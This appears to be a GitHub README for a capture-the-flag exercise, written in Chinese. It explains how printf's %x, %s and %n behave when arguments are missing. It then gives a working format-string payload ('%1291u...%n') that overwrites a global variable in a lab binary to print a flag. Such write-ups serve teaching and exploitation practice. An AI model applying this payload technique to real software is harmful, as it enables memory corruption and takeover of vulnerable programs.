Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Format

format.cstring format vulnerability ,利用它把一個global integer改成1337。

  • 察看wiki page,format function怎麼處理format string和parameter:
  1. format function可以傳入任意長度的parameter
  2. 做什麼事由format string控制
  3. parameter被直接(by value)或間接(by reference address)的push到stack上,等待遇到 %字元時被pop出來

那麼,如果我寫一個沒有給參數卻允許傳入format string控制format function的程式碼:printf(argv[1]),會怎樣呢?

  • 如果argv[1] =
  • %d, %u, %x, 會把stack最上方的item裡的值pop出來,分別以decimal, unsigned decimal,或hexadecimal表示出來
  • %s:正常情況在被處理的時候,stack指到的地方存有字串的reference位址,把位址pop出來,用這位址去找對應的數值並當作字串印出來。但如果不給變數,會直接把stack pointer目前指到的當位址去找資料印出來
  • %n:正常情況:printf("hello%n", &var); 把length("hello") = 5寫入var裡。但是如果後面不給變數,會直接把目前有多少byte直接寫入stack pointer目前指到的位址!!

Solve

format string 只能寫到stack上,那要怎麼把secret改成1337呢?

  1. code中有一行:int *ptr = &secret;
  • ptr已經把secret的位址存到stack裡了
  1. 使用gdb找出secret位置:(gdb) print &secret,&secret = 0x804a030
  2. (gdb) run %08x.%08x.%08x.%08x.%08x.%08x....找出含有stack addr的是第幾個,找到是第7個。
  3. 把stack倒數第七個改成1337:呼叫%n把目前這個字串在%n前的byte數目push進%esp指到的地方
  • 湊1337byte:%[?]u.%08x.%08x.%08x.%08x.%08x.%n
  • [?] = 1337 - (6個.(1 byte)+5個%08x(8 byte)) = 1291
  1. 取得flag
(gdb) run %1291u.%08x.%08x.%08x.%08x.%08x.%n
Starting program: /home/fomat/format %1291u.%08x.%08x.%08x.%08x.%08x.%n
$ ls
flag.txt    format    format.c    Makefile
$ cat flag.txt
cat: flag.txt:  Permission denied
$ ./format %1291u.%08x.%08x.%08x.%08x.%08x.%n
$ cat flag.txt
who_thought_%n_was_a_good_idea?

Reference